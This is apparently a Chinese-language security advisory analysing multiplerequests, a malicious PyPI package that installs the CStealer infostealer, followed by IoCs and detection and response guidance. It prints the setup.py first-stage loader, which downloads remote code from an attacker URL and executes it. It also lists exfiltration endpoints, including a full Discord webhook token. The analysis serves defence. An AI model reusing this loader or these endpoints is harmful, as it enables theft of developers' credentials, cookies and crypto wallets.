供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击
字数 2088 2025-08-22 12:22:48
恶意Py包multiplerequests供应链投毒分析及防御指南
1. 事件概述
2024年4月25日,悬镜供应链安全情报中心在PyPI官方仓库中发现名为multiplerequests的恶意Python包,该包伪装成HTTP组件,实际包含CStealer窃密后门。攻击者连续发布了6个不同版本(2.31.0-2.31.5),专门针对Windows平台的Python开发者。
2. 攻击影响范围
- 下载量:截至发现时,恶意包在PyPI上已被下载435次
- 镜像源影响:该恶意包仍可从国内主流镜像源(如清华大学、腾讯云等)下载
- 系统限制:仅影响Windows系统,Linux系统安装会因路径问题导致部分功能失效
3. 攻击技术分析
3.1 攻击流程
- 开发者通过pip安装
multiplerequests包 - 安装过程中自动执行setup.py中的恶意代码
- 恶意代码分两个阶段执行:
- 第一阶段:从攻击者服务器下载第二阶段恶意代码
- 第二阶段:执行完整的CStealer后门功能
3.2 恶意代码执行链
# setup.py中的第一阶段恶意代码(经过base64编码)
from urllib import request
package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"
package_name = request.urlopen(package_url).read()
exec(base64.b64decode(package_name))
3.3 CStealer后门功能
3.3.1 信息收集功能
-
系统敏感信息收集:
- 操作系统版本
- 处理器信息
- 网卡MAC地址
- 网络IP地址
- 主机名
- 数据外传至:
https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot
-
浏览器隐私数据收集:
- 支持的浏览器:Chrome、Opera、Edge、Torch、Yandex、Epic等(基于Chromium内核)
- 收集内容:Cookie、登录凭证、浏览历史、下载记录
- 数据压缩后外传
3.3.2 数字钱包数据窃取
- 针对钱包应用:Atomic Wallet、Binance、Electrum等
- 数据外传至:
https://store1.gofile.io/uploadFile
3.3.3 屏幕截屏功能
- 从
https://frvezdffvv.pythonanywhere.com/getmss下载python-mss模块 - 使用该模块进行屏幕截屏
- 截屏数据外传
3.3.4 持久化机制
- 将恶意代码复制到Windows启动目录实现开机自启动
- 路径:
~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
4. IoC(失陷指标)
4.1 文件哈希
multiplerequests-2.31.0/setup.pySHA256:e6eb8d5f7d451e8833551337c3b775170071935581059c553fa889f046a81c3f
4.2 恶意URL
-
第一阶段代码下载:
https://frvezdffvv.pythonanywhere.com/getpackage
-
数据外传地址:
https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oothttps://store1.gofile.io/uploadFile
-
辅助URL:
https://frvezdffvv.pythonanywhere.com/getmsshttps://rentry.co/u4tup/rawhttps://rentry.co/5crcu/rawhttps://rentry.co/5uu99/rawhttps://rentry.co/pmpxa/raw
5. 检测与防御措施
5.1 检测方法
5.1.1 手动检测
# 检查是否安装了恶意包
pip show multiplerequests
# 如果返回包信息,则表示已安装
5.1.2 使用OpenSCA-cli检测
- 创建检测配置文件
db.json:
[
{
"product": "multiplerequests",
"version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",
"language": "python",
"id": "XMIRROR-MAL45-7DF79312",
"description": "Python恶意组件包multiplerequests开展CStealer窃密后门攻击",
"release_date": "2024-04-25"
}
]
- 执行扫描:
opensca-cli -db db.json -path ${project_path}
5.2 应急响应
- 如果检测到感染:
pip uninstall multiplerequests -y - 断开网络连接
- 检查系统异常进程
- 检查Windows启动目录是否有可疑文件
- 更改所有可能泄露的密码(特别是浏览器保存的密码和钱包密码)
5.3 预防措施
-
软件源管理:
- 优先使用官方PyPI源或可信的企业内部镜像
- 避免使用不受信任的第三方镜像源
-
依赖审查:
- 在引入新依赖前检查其声誉和下载量
- 使用
pip check验证依赖完整性 - 考虑使用虚拟环境隔离项目依赖
-
安全工具:
- 使用OpenSCA等供应链安全工具定期扫描项目
- 部署端点检测与响应(EDR)解决方案
-
开发实践:
- 实施代码签名验证
- 建立软件物料清单(SBOM)管理流程
- 定期更新依赖到已知安全版本
6. 总结
multiplerequests恶意包事件是典型的供应链攻击案例,攻击者利用开发者对公共包仓库的信任,通过伪装常用组件传播恶意软件。此类攻击具有隐蔽性强、影响面广的特点,需要开发者提高安全意识,建立完善的依赖管理流程和安全防护措施。